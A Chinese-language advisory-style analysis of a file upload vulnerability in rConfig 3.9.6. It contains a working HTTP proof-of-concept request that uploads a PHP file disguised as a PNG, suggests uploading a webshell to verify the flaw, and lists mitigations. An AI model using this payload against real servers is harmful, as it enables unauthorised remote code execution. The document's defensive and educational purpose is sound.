rConfig 3.9.6 文件上传
字数 1042 2025-08-09 22:00:37
rConfig 3.9.6 文件上传漏洞分析与利用
漏洞概述
rConfig 3.9.6 版本中存在一个不安全的文件上传漏洞,攻击者可以利用此漏洞上传恶意文件(如PHP webshell)到服务器,可能导致远程代码执行。
漏洞分析
漏洞位置
漏洞存在于 /lib/crud/vendors.crud.php 文件中,该文件负责处理供应商信息的CRUD操作,包括供应商logo的上传功能。
漏洞原因
- 不充分的文件验证:代码仅对文件类型进行了白名单检查,但未对文件内容进行验证
- 未验证文件扩展名:虽然检查了Content-Type,但未验证实际文件扩展名
- 直接保存用户提供的文件名:使用用户提供的文件名保存文件,没有进行安全处理
漏洞利用
利用条件
- 攻击者需要有有效的PHPSESSID(已认证或通过其他漏洞获取)
- 能够发送HTTP POST请求到目标服务器
利用步骤
- 构造一个包含恶意PHP代码的文件上传请求
- 将文件Content-Type设置为允许的类型(如image/png)
- 使用.php扩展名作为文件名
- 发送请求到
/lib/crud/vendors.crud.php - 上传的文件将保存在
/images/vendor/目录下
详细POC
POST /lib/crud/vendors.crud.php HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Content-Length: 491
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Origin: https://xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWpMXK6WIANv7xtCd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://xx.xx.xx.xx/vendors.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=27bdb13b82eac5dab1a420d9699474ca
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorName"
111
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorLogo"; filename="111.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="add"
add
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="editid"
------WebKitFormBoundaryWpMXK6WIANv7xtCd--
防御措施
临时解决方案
- 禁用或限制对
/lib/crud/vendors.crud.php的直接访问 - 删除或重命名已存在的漏洞文件
长期解决方案
-
严格的文件类型验证:
- 同时验证文件扩展名和Content-Type
- 使用服务器端MIME类型检测(如finfo_file)
-
文件名处理:
- 生成随机文件名,不信任用户提供的文件名
- 强制使用特定扩展名
-
文件内容验证:
- 对于图片文件,使用GD库或Imagick验证确实是有效图片
- 检查文件内容是否包含可疑代码
-
权限控制:
- 上传目录设置为不可执行
- 使用.htaccess或web.config限制特定文件类型的执行
-
更新到最新版本:
- 检查rConfig是否有官方补丁
- 升级到最新安全版本
漏洞验证
- 上传测试文件后,访问
/images/vendor/111.php - 如果看到phpinfo页面,则漏洞存在
- 也可以上传webshell进行进一步验证
总结
rConfig 3.9.6的文件上传漏洞源于不充分的安全验证,攻击者可利用此漏洞上传任意文件(包括PHP脚本)到服务器。系统管理员应立即采取措施修补此漏洞,开发者应遵循安全文件上传的最佳实践来防止此类漏洞。